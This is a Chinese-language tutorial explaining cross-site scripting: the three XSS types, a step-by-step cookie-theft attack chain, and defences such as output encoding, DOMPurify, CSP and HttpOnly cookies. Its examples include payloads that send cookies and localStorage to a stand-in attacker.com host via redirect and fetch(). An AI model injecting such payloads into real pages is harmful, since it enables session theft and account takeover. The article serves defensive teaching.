系列文章: Bảo mật
  1. 1 什么是恶意软件?分类、特征及预防方法
  2. 2 什么是DDoS?识别迹象、应对方法与有效防御指南
  3. 3 什么是网络钓鱼?识别与防范在线欺诈
  4. 4 什么是DNS Sinkhole?DNS Sinkhole技术的应用与使用方法
  5. 5 什么是OAuth 2.0?授权访问与谷歌登录原理
  6. 6 什么是木马病毒?关于Trojan恶意软件的基本知识
  7. 7 Zero Trust 是什么?'永不信任,始终验证'安全模型
  8. 8 VPN是什么?虚拟专用网络与WireGuard、OpenVPN协议
  9. 9 MFA 是什么?多因素认证与 2FA 对比详解
  10. 10 什么是防火墙?在网络安全中的角色和功能
  11. 11 什么是SQL注入?数据库攻击与防护
  12. 12 什么是XSS?跨站脚本攻击与防护
✦ 快速摘要
XSS(跨站脚本)是OWASP A03:2021漏洞,允许攻击者向网页注入恶意脚本,窃取Cookie、劫持账户或重定向用户。了解3种XSS类型、示例载荷,以及使用CSP和HTML编码的防护方法。
这篇文章怎么样?

XSS——跨站脚本——是最常见、最危险的Web漏洞之一,被列入OWASP Top 10 A03:2021(注入类)。与直接攻击数据库的SQL注入不同,XSS的目标是网站的用户:攻击者将恶意脚本注入页面内容,脚本在受害者的浏览器中运行,可以窃取Cookie、劫持账户或代替用户执行操作。

什么是XSS?OWASP A03:2021

**跨站脚本(XSS)**是一种漏洞,当Web应用程序接受用户提供的数据并将其包含在网页中,而没有进行适当的验证或编码时就会发生。结果是,另一个用户的浏览器会执行攻击者注入的脚本,认为它是网页的合法部分。

"跨站"这个名称来源于最初的机制:脚本在受害网站的域(例如bank.com)上运行,而不是在攻击者的域上运行。这使脚本能够绕过同源策略,因为它被视为属于bank.com。浏览器信任并以该域的完整权限执行脚本——包括读取Cookie、localStorage,以及向API发送请求。

与SQL注入的区别:

XSS SQL注入
攻击用户 攻击数据库
脚本在受害者浏览器中运行 查询在数据库服务器上运行
影响:会话窃取、重定向、网络钓鱼 影响:数据泄露、删表、绕过登录
防护:HTML编码、CSP 防护:参数化查询、输入验证

两者都属于OWASP A03:2021的注入类别——都源于未能正确处理不可信的输入数据。

3种XSS类型

存储型XSS(持久型XSS)

这是最危险的类型。恶意脚本被存储在服务器的数据库中(评论、个人资料名称、帖子),并提供给所有查看该内容的用户。

HTML
1<!-- Attacker posts a comment: -->
2<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
3<!-- Every user who views the article gets redirected and their cookie is sent to the attacker -->

为什么危险? 攻击者只需操作一次——之后所有查看该页面的用户都成为受害者。影响范围可以非常广:一条评论可能影响数千名用户。

反射型XSS(非持久型XSS)

脚本嵌入在URL请求中,被服务器"反射"回响应中,而不存储在数据库中。只有受害者点击恶意链接时才会受到影响。

https://example.com/search?q=<script>alert(document.cookie)</script>
<!-- Server returns: "You searched for: <script>..." — script runs in victim's browser -->

攻击者通常通过电子邮件或消息(网络钓鱼)分发链接。用户点击→请求发送到服务器→服务器在响应中返回脚本→浏览器执行脚本。

DOM型XSS

与存储型和反射型XSS不同,DOM型XSS完全发生在客户端——恶意脚本从不到达服务器。漏洞存在于客户端JavaScript中,它从不可信来源(URL片段、document.referrerlocalStorage)读取数据并直接写入DOM。

JavaScript
1// VULNERABLE — reads hash fragment directly into the DOM
2document.getElementById('output').innerHTML = location.hash.slice(1);
3// Attacker: https://example.com/#<img src=x onerror=alert(1)>

片段(#...)不会发送到服务器,因此服务器端验证无法检测到它。这就是为什么DOM型XSS比常规扫描工具更难检测的原因。

理解完整的攻击链有助于正确评估XSS的严重性:

第1步——注入脚本: 攻击者找到未经清理的输入字段(评论框、个人资料名称、URL参数)并注入载荷:

JavaScript
 1<script>
 2  fetch('https://attacker.com/steal', {
 3    method: 'POST',
 4    body: JSON.stringify({
 5      cookie: document.cookie,
 6      url: window.location.href,
 7      localStorage: JSON.stringify(localStorage)
 8    })
 9  });
10</script>

第2步——受害者触发: 普通用户访问包含注入脚本的页面。浏览器认为这是页面的合法脚本并立即执行它。

第3步——Cookie窃取: document.cookie返回该域的所有Cookie(HttpOnly的除外)。脚本通过fetch()将Cookie发送到攻击者的服务器。这个请求看起来像正常请求——难以与合法流量区分。

第4步——会话劫持: 攻击者收到会话Cookie。他们在自己的浏览器中设置该Cookie并以受害者身份访问应用程序。服务器看不出区别——会话令牌是有效的。

第5步——账户接管: 有了会话访问权限,攻击者可以更改电子邮件、更改密码、转账或提升权限——取决于受害者账户的权限。

整个过程在几秒钟内发生,完全自动化,受害者注意不到任何异常。

防护代码

防护XSS需要多层防御:输出编码、HTML清理和内容安全策略。

JavaScript
 1// 1. HTML encoding — escape before rendering into HTML
 2function escapeHTML(str) {
 3  return str
 4    .replace(/&/g, '&amp;')
 5    .replace(/</g, '&lt;')
 6    .replace(/>/g, '&gt;')
 7    .replace(/"/g, '&quot;')
 8    .replace(/'/g, '&#x27;');
 9}
10
11// 2. DOMPurify — when you need to render HTML (rich text editor)
12import DOMPurify from 'dompurify';
13const clean = DOMPurify.sanitize(userHtml, { ALLOWED_TAGS: ['b', 'i', 'a', 'p'] });
14element.innerHTML = clean;
15
16// 3. React — safe by default, dangerous opt-in
17// SAFE:
18const SafeComponent = ({ userInput }) => <div>{userInput}</div>;
19// UNSAFE — sanitize first:
20const UnsafeComponent = ({ userHtml }) => (
21  <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userHtml) }} />
22);
nginx
1# 4. CSP Header (Nginx)
2add_header Content-Security-Policy "
3  default-src 'self';
4  script-src 'self';
5  style-src 'self' 'unsafe-inline';
6  img-src 'self' data: https:;
7  connect-src 'self';
8  frame-ancestors 'none';
9";

CSP指令说明:

  • default-src 'self' — 默认只允许来自同源的资源
  • script-src 'self' — 只允许同域脚本,阻止内联脚本和外部脚本
  • frame-ancestors 'none' — 阻止点击劫持(替代X-Frame-Options: DENY

当CSP配置严格时,即使攻击者注入了脚本,浏览器也会拒绝执行,因为脚本不是来自允许的来源。

Cookie标志是重要的附加防御层,即使XSS发生也能最小化损害:

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/

HttpOnly — Cookie无法通过JavaScript读取(document.cookie对此Cookie返回空字符串)。注入脚本的攻击者仍然无法获取会话Cookie。这是防止通过XSS窃取Cookie最重要的防御措施。

Secure — Cookie只通过HTTPS发送。防止在未加密网络上的嗅探以及浏览器与服务器之间的中间人攻击。

SameSite=Strict — Cookie只在请求来自同一网站时发送。阻止CSRF攻击,并降低某些XSS + CSRF组合的有效性。SameSite=Lax(现代默认值)允许顶级导航但阻止跨站子请求。

注意: HttpOnly不是完美的解决方案。攻击者仍然可以使用XSS代替用户发送请求,而无需读取Cookie(例如:调用转账API)。需要结合CSRF令牌和SameSite Cookie才能提供全面保护。

框架如何防护XSS

现代框架通过"默认安全"机制集成了XSS防护:

React — JSX自动转义所有表达式:<div>{userInput}</div>完全安全,因为React将<转换为&lt;。危险的退出API是dangerouslySetInnerHTML——名称故意设计为警示开发者。

Vue — 模板语法{{ userInput }}自动转义。退出API是v-html指令:<div v-html="userInput">——如果userInput包含用户提供的HTML则不安全。

Angular — 模板插值{{ userInput }}自动转义。退出API是DomSanitizer中的bypassSecurityTrustHtml()——必须显式调用才能绕过清理。

通用规则: 任何名称中包含"dangerous"、"unsafe"或"trust"的API都是XSS防护的退出方式。在将HTML传递给这些API之前,始终用DOMPurify进行清理:

JavaScript
1// Correct for all frameworks
2const safeHtml = DOMPurify.sanitize(untrustedHtml, {
3  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
4  ALLOWED_ATTR: ['href', 'title', 'target']
5});

OWASP XSS防护备忘单

OWASP根据将数据插入HTML的上下文定义了XSS防护规则:

规则#1 — HTML正文: 在将不可信数据插入HTML正文之前,始终进行HTML编码。最低编码要求:&<>"'/。框架渲染自动完成此操作。

规则#2 — HTML属性: 插入HTML属性时,使用属性编码。示例:<input value="[USER_DATA]">——编码所有特殊字符,不仅仅是<>。最佳实践是始终使用带引号的属性。

规则#3 — 永远不要将不可信数据插入: 脚本块(<script>[DATA]</script>)、事件处理程序(<button onclick="[DATA]">)、CSS(<style>[DATA]</style>)或URL属性(<a href="[DATA]">)。这些是需要特殊处理的危险上下文——仅HTML编码是不够的。

完整参考请查阅OWASP XSS防护备忘单——Web安全的标准参考资料。


什么是SQL注入?数据库攻击详解

什么是网络钓鱼?识别与防护

什么是SSL?